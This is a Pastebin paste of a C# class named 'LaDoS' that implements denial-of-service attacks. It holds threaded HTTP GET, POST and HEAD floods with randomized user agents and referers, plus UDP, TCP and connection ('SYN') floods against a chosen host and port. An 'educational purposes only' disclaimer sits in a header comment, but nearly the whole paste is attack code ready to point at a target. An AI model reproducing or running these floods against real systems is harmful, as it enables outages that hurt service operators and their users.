Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Net.Sockets;
- using System.Threading;
- using System.Diagnostics;
- using System.Net;
- using System.Text.RegularExpressions;
- namespace Layer7Class
- {
- class LaDoS
- {
- /* Author: LaPanthere
- * Purpose of Creation: To explore raw sockets and different methods of denialing a service.
- * Date of Creation: Thursday 29th of August, 2013.
- * Notes: Use at your own risk. I am not liable for your actions. This class was created for educational purposes only.
- * Do not stress test a server you do not own or do not have authorized permission.
- */
- Random Rnd = new Random();
- public int numSent = 0;
- public enum MethodType
- {
- GET,
- POST,
- HEAD
- }
- #region "Layer 7 Attack Methods"
- /// <summary>
- /// Sends a GET Flood for specified time and creates threads limited to specified thread number.
- /// </summary>
- /// <param name="host">The hostname without http:// or a trailing slash.</param>
- /// <param name="page">The page to visit on the hostname.</param>
- /// <param name="time">The time to continue the flooding in seconds.</param>
- /// <param name="threads">The amount of threads to create. Standard is 100.</param>
- /// <returns></returns>
- public string GETFlood(string host, string page, int time, int threads)
- {
- numSent = 0;
- int requests = 0;
- Stopwatch st = new Stopwatch();
- for (int i = 1; i < threads; i++)
- {
- new Thread(() =>
- {
- st.Start();
- while (st.Elapsed.Seconds < time)
- {
- int additionalNumbers = Rnd.Next(100, 56000);
- WebSocketRequest(host, page, additionalNumbers.ToString() + ".com", MethodType.GET);
- requests++;
- }
- }).Start();
- }
- while (st.Elapsed.Seconds < time)
- {
- Thread.Sleep(980);
- }
- numSent = requests;
- return "Completed with " + requests.ToString() + " requests sent!";
- }
- /// <summary>
- /// Sends a POST Flood for specified time and creates threads limited to specified thread number.
- /// </summary>
- /// <param name="host">The hostname without http:// or a trailing slash.</param>
- /// <param name="page">The page to visit on the hostname.</param>
- /// <param name="data">The data to send, EG: "abc=def".</param>
- /// <param name="time">The time to continue the flooding in seconds.</param>
- /// <param name="threads">The amount of threads to create. Standard is 100.</param>
- /// <returns></returns>
- public string POSTFlood(string host, string page, string data, int time, int threads)
- {
- numSent = 0;
- int requests = 0;
- Stopwatch st = new Stopwatch();
- for (int i = 1; i < threads; i++)
- {
- new Thread(() =>
- {
- st.Start();
- while (st.Elapsed.Seconds < time)
- {
- int additionalNumbers = Rnd.Next(100, 56000);
- WebSocketRequest(host, page, additionalNumbers.ToString() + ".com", MethodType.POST, data);
- requests++;
- }
- }).Start();
- }
- while (st.Elapsed.Seconds < time)
- {
- Thread.Sleep(980);
- }
- numSent = requests;
- return "Completed with " + requests.ToString() + " requests sent!";
- }
- /// <summary>
- /// Sends a HEAD Flood for specified time and creates threads limited to specified thread number.
- /// </summary>
- /// <param name="host">The hostname without http:// or a trailing slash.</param>
- /// <param name="page">The page to visit on the hostname.</param>
- /// <param name="time">The time to continue the flooding in seconds.</param>
- /// <param name="threads">The amount of threads to create. Standard is 100.</param>
- /// <returns></returns>
- public string HEADFlood(string host, string page, int time, int threads)
- {
- numSent = 0;
- int requests = 0;
- Stopwatch st = new Stopwatch();
- for (int i = 1; i < threads; i++)
- {
- new Thread(() =>
- {
- st.Start();
- while (st.Elapsed.Seconds < time)
- {
- int additionalNumbers = Rnd.Next(100, 56000);
- WebSocketRequest(host, page, additionalNumbers.ToString() + ".com", MethodType.HEAD);
- requests++;
- }
- }).Start();
- }
- while (st.Elapsed.Seconds < time)
- {
- Thread.Sleep(980);
- }
- numSent = requests;
- return "Completed with " + requests.ToString() + " requests sent!";
- }
- #endregion
- #region "Layer 4 Attack Methods"
- /// <summary>
- /// Sends packets using the UDP protocol without connecting to the socket.
- /// </summary>
- /// <param name="iphost">The hostname or IP of the target.</param>
- /// <param name="port">The port of the target to send packets to.</param>
- /// <param name="time">The amount of time to flood the target in seconds.</param>
- /// <param name="threads">The amount of threads to create.</param>
- /// <returns></returns>
- public string UDPFlood(string iphost, int port, int time, int threads)
- {
- numSent = 0;
- int packetCount = 0;
- byte[] buffer = null;
- Stopwatch st = new Stopwatch();
- for (int i = 1; i < threads; i++)
- {
- new Thread(() =>
- {
- Socket udpc = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(iphost)[0].ToString());
- IPEndPoint hostep = new IPEndPoint(hostip, port);
- buffer = Encoding.UTF8.GetBytes(GenerateString(50));
- st.Start();
- while (st.Elapsed.TotalSeconds < time)
- {
- udpc.SendTo(buffer, hostep);
- packetCount++;
- }
- udpc.Close();
- }).Start();
- }
- while (st.Elapsed.TotalSeconds < time)
- {
- Thread.Sleep(980);
- }
- numSent = packetCount;
- return "Packets Sent: " + packetCount.ToString() + ". Packets Per Second: " + Convert.ToString(packetCount / st.Elapsed.Seconds) + ". Bytes Sent: " + buffer.Length.ToString() + ".";
- }
- /// <summary>
- /// Sends packets using the TCP protocol. This connects to the socket.
- /// </summary>
- /// <param name="iphost">The hostname or IP of the target.</param>
- /// <param name="port">The port of the target to send packets to.</param>
- /// <param name="time">The amount of time to flood the target in seconds.</param>
- /// <param name="threads">The amount of threads to create.</param>
- /// <returns></returns>
- public string TCPFlood(string iphost, int port, int time, int threads)
- {
- numSent = 0;
- int packetCount = 0;
- byte[] buffer = null;
- Stopwatch st = new Stopwatch();
- for (int i = 1; i < threads; i++)
- {
- new Thread(() =>
- {
- Socket tcpc = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(iphost)[0].ToString());
- IPEndPoint hostep = new IPEndPoint(hostip, port);
- buffer = Encoding.UTF8.GetBytes(GenerateString(50));
- st.Start();
- while (st.Elapsed.TotalSeconds < time)
- {
- tcpc.Connect(hostep);
- tcpc.Send(buffer);
- packetCount++;
- }
- tcpc.Close();
- }).Start();
- }
- while (st.Elapsed.TotalSeconds < time)
- {
- Thread.Sleep(980);
- }
- numSent = packetCount;
- return "Packets Sent: " + packetCount.ToString() + ". Packets Per Second: " + Convert.ToString(packetCount / st.Elapsed.Seconds) + ". Bytes Sent: " + buffer.Length.ToString() + ".";
- }
- /// <summary>
- /// Connects to a socket until the specified time is reached.
- /// </summary>
- /// <param name="iphost">The hostname or IP of the target.</param>
- /// <param name="port">The port of the target to connect to.</param>
- /// <param name="time">The amount of time to flood the target in seconds.</param>
- /// <param name="threads">The amount of threads to create.</param>
- /// <returns></returns>
- public string SYNFlood(string iphost, int port, int time, int threads)
- {
- numSent = 0;
- int connectCount = 0;
- Stopwatch st = new Stopwatch();
- for (int i = 1; i < threads; i++)
- {
- new Thread(() =>
- {
- Socket tcpc = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(iphost)[0].ToString());
- IPEndPoint hostep = new IPEndPoint(hostip, port);
- st.Start();
- while (st.Elapsed.TotalSeconds < time)
- {
- tcpc.Connect(hostep);
- connectCount++;
- }
- tcpc.Close();
- }).Start();
- }
- while (st.Elapsed.TotalSeconds < time)
- {
- Thread.Sleep(980);
- }
- numSent = connectCount;
- return "Connections Sent: " + connectCount.ToString() + ". Connections Per Second: " + Convert.ToString(connectCount / st.Elapsed.Seconds) + ".";
- }
- #endregion
- #region "Functions"
- /// <summary>
- /// Sends a HTTP/1.1 Request using sockets.
- /// </summary>
- /// <param name="hostname">The hostname without http:// or a trailing slash.</param>
- /// <param name="page">The page to visit on the hostname.</param>
- /// <param name="referer">The referring host without http:// or a trailing slash.</param>
- /// <param name="mt">The MethodType, either GET, HEAD or POST</param>
- /// <param name="data">The data if MethodType is POST</param>
- /// <returns>Returns the page.</returns>
- public string WebSocketRequest(string hostname, string page, string referer, MethodType mt, string data = "myid=myvalue")
- {
- string[] returnPage;
- byte[] bytesRec = new byte[1024];
- int bytesGot = 0;
- string method = "";
- int response = 0;
- StringBuilder request_headers = new StringBuilder();
- IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(hostname)[0].ToString());
- IPEndPoint hostep = new IPEndPoint(hostip, 80);
- Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- switch (mt)
- {
- case MethodType.GET:
- method = "GET";
- break;
- case MethodType.HEAD:
- method = "HEAD";
- break;
- case MethodType.POST:
- method = "POST";
- break;
- }
- request_headers.AppendLine(method + " " + page + " HTTP/1.1");
- request_headers.AppendLine("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- request_headers.AppendLine("Accept-Language: en-us");
- request_headers.AppendLine("Accept-Encoding: gzip, deflate");
- request_headers.AppendLine("User-Agent: " + randUserAgent());
- request_headers.AppendLine("Host: " + hostname);
- request_headers.AppendLine("Referer: "+ referer);
- request_headers.AppendLine("Connection: Keep-Alive");
- if (method == "POST")
- {
- request_headers.AppendLine("Content-Length: " + data.Length);
- request_headers.AppendLine("Content-Type: application/x-www-form-urlencoded");
- request_headers.AppendLine(data);
- request_headers.Append("\r\n");
- }
- else
- {
- request_headers.Append("\r\n");
- }
- sock.Connect(hostep);
- response = sock.Send(Encoding.UTF8.GetBytes(request_headers.ToString()));
- bytesGot = sock.Receive(bytesRec, bytesRec.Length, SocketFlags.None);
- returnPage = Regex.Split(Encoding.UTF8.GetString(bytesRec, 0, bytesGot), "\r\n\r\n");
- try
- {
- return returnPage[1];
- }
- catch
- {
- return "NULL";
- }
- }
- public string randUserAgent()
- {
- string[] MyStringArr = {
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17",
- "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firebird/3.6.13",
- "Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
- "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
- "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120410 Firefox/3.6.28 Lunascape/6.7.1.25446",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13",
- "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
- };
- return MyStringArr[Rnd.Next(MyStringArr.Length)];
- }
- public string GenerateString(int Length)
- {
- char[] letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray();
- string randomString = "";
- for (int i = 0; i < Length; i++)
- {
- randomString += letters[Rnd.Next(0, 52)].ToString();
- }
- return randomString;
- }
- #endregion
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment